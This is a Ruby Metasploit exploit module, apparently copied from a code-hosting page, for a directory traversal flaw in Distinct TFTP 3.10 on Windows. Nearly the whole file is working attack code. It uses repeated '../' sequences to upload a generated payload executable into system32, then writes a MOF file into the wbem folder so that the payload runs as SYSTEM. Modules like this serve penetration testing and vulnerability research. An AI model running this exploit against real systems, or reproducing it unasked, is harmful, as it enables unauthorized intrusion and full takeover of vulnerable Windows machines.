107 lines
3.4 KiB
Ruby
107 lines
3.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Rex::Proto::TFTP
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include Msf::Exploit::EXE
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include Msf::Exploit::WbemExec
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def initialize(info={})
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super(update_info(info,
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'Name' => "Distinct TFTP 3.10 Writable Directory Traversal Execution",
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'Description' => %q{
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This module exploits a vulnerability found in Distinct TFTP server. The
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software contains a directory traversal vulnerability that allows a remote
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attacker to write arbitrary file to the file system, which results in
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code execution under the context of 'SYSTEM'.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'modpr0be', #Initial discovery, PoC (Tom Gregory)
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '80984'],
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['EDB', '18718'],
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['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Distinct TFTP 3.10 on Windows', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 8 2012",
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'DefaultTarget' => 0))
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register_options([
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OptInt.new('DEPTH', [false, "Levels to reach base directory",10]),
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OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
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OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
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], self.class)
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end
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def upload(filename, data)
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tftp_client = Rex::Proto::TFTP::Client.new(
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"LocalHost" => "0.0.0.0",
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"LocalPort" => 1025 + rand(0xffff-1025),
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"PeerHost" => datastore['RHOST'],
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"PeerPort" => datastore['RPORT'],
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"LocalFile" => "DATA:#{data}",
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"RemoteFile" => filename,
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"Mode" => "octet",
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"Context" => {'Msf' => self.framework, "MsfExploit" => self },
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"Action" => :upload
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)
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ret = tftp_client.send_write_request { |msg| print_status(msg) }
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while not tftp_client.complete
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select(nil, nil, nil, 1)
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tftp_client.stop
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end
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end
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def exploit
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peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
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# Setup the necessary files to do the wbemexec trick
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exe_name = rand_text_alpha(rand(10)+5) + '.exe'
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exe = generate_payload_exe
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mof_name = rand_text_alpha(rand(10)+5) + '.mof'
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mof = generate_mof(mof_name, exe_name)
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# Configure how deep we want to traverse
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depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
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levels = "../" * depth
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# Upload the malicious executable to C:\Windows\System32\
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print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
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upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
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# Let the TFTP server idle a bit before sending another file
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select(nil, nil, nil, 1)
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# Upload the mof file
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print_status("#{peer} - Uploading .mof...")
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upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
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end
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end
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